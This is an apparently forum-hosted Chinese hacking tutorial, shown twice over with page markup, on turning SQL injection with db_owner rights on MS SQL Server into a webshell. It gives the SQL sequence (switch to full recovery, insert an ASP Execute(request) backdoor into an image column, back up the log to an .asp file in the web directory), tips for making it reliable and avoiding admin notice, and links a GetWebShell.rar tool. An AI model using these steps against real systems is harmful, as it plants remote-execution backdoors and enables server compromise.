dbowner 通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backupdatabase的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。
获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法,注入也可以得到,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情,dbowner足矣,public则不行。当前打开的库名用一个db_name()就可以得到,同样很简单。
默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是dbowner了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段SQL语句,很简单的,这样就可以:

alterdatabaseXXXXsetRECOVERYFULL

其中XXXX是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份完以后把这个数据库的属性改回来。

剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backupdatabase中设定表名为image的问题相对应,如果你只是建立一个<%%>之类的表,日志里面的记录还是以松散的格式记录的,也就是<%%>,没有任何效果。通过实际的测试,发现还是可以通过与backupdatabase类似的方式记录进去,如下:

createtablecmd(aimage)
insertintocmd(a)values('<%Execute(request("Swan"))%>')
backuplogXXXXtodisk='c:\xxx\2.asp'

这样你已经得到一个webshell了。

到这里就完了么?没有,呵呵,我们继续。
到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于backupdatabase的减小。
首先是初始化这个日志。

backuplogXXXXtodisk='c:\caonima'withinit

这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的shell是固定的。这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你backdatabase的手脚,或者你之前有多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是数据库和代码没变,有不小的帮助。
然后是调整一下backup中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是:

alterdatabaseXXXXsetRECOVERYFULL
backuplogXXXXtodisk='c:\Sammy'withinit
createtablecmd(aimage)
insertintocmd(a)values('<%Execute(request("Swan"))%>')
backuplogXXXXtodisk='c:\xxx\2.asp'

这样不好,感觉上多了一条没用的东西。

createtablecmd(aimage)

确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于backupdatabase中的增量情况同样是可以的,backupdatabase甚至可以仅仅在update后马上备份,不过由于涉及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是:

alterdatabaseXXXXsetRECOVERYFULL
createtablecmd(aimage)
backuplogXXXXtodisk='c:\Sammy'withinit
insertintocmd(a)values('<%Execute(request("Swan"))%>')
backuplogXXXXtodisk='c:\xxx\2.asp'

成功的话,备份出来的shell(上面的2.asp)有78.5k,文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端,很通用的。
进一步的,虽然不能再次缩小这个木马了,但是可以让垃圾文件少一点,那就是加上response.end,这样后面的垃圾数据就不再显示。所有的垃圾数据,你可以统计一下,大约只有6~12k,也就是说,<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近,最好的情况似乎在6k左右,而且这个概率分布比较靠前,很少见到10k以上。这还是比较令人满意的。

目前用backuplog来测试的成功率是100%,就这样分析似乎不应该有失败的情况。无论如何,这个比backupdatabase好太多了。

<img src="eWebEditor_v280_Free/SysImage/file/rar.gif" onmouseover="javascript:if(this.width>520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); onload="javascript:if(this.width>520)this.width=520;" align=absmiddle border="0"><A HREF="/userfile/eviloctal.org/zhouzhen/edit/2006329144551316.rar" TARGET=_blank>GetWebShell.rar</A>
</font></div>
<div align="right">【字体大小:<a onclick="main.size=3" style="cursor:hand;">大</a>
<a onclick="main.size=2" style="cursor:hand;">中</a>
<a onclick="main.size=1" style="cursor:hand;">小</a>】
【<a onclick="allinfo.select();document.execCommand('Copy');alert('复制完成')" style="cursor:hand;">复制源文件</a>】
<TEXTAREA name="allinfo" id="allinfo" style="width:0;height:0xp">
dbowner通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。
获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法,注入也可以得到,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情,dbowner足矣,public则不行。当前打开的库名用一个db_name()就可以得到,同样很简单。
默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是dbowner了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段SQL语句,很简单的,这样就可以:

alter database XXXX set RECOVERY FULL

其中XXXX是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份完以后把这个数据库的属性改回来。

剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为image的问题相对应,如果你只是建立一个<%%>之类的表,日志里面的记录还是以松散的格式记录的,也就是< % % >,没有任何效果。通过实际的测试,发现还是可以通过与backup database类似的方式记录进去,如下:

create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:\xxx\2.asp'

这样你已经得到一个webshell了。

到这里就完了么?没有,呵呵,我们继续。
到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于backup database的减小。
首先是初始化这个日志。

backup log XXXX to disk = 'c:\caonima' with init

这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的shell是固定的。这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你back database的手脚,或者你之前有多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是数据库和代码没变,有不小的帮助。
然后是调整一下backup中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是:

alter database XXXX set RECOVERY FULL
backup log XXXX to disk = 'c:\Sammy' with init
create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:\xxx\2.asp'

这样不好,感觉上多了一条没用的东西。

create table cmd (a image)

确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于backup database中的增量情况同样是可以的,backup database甚至可以仅仅在update后马上备份,不过由于涉及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是:

成功的话,备份出来的shell(上面的2.asp)有78.5k,文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端,很通用的。
进一步的,虽然不能再次缩小这个木马了,但是可以让垃圾文件少一点,那就是加上response.end,这样后面的垃圾数据就不再显示。所有的垃圾数据,你可以统计一下,大约只有6~12k,也就是说,<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近,最好的情况似乎在6k左右,而且这个概率分布比较靠前,很少见到10k以上。这还是比较令人满意的。

目前用backup log来测试的成功率是100%,就这样分析似乎不应该有失败的情况。无论如何,这个比backup database好太多了。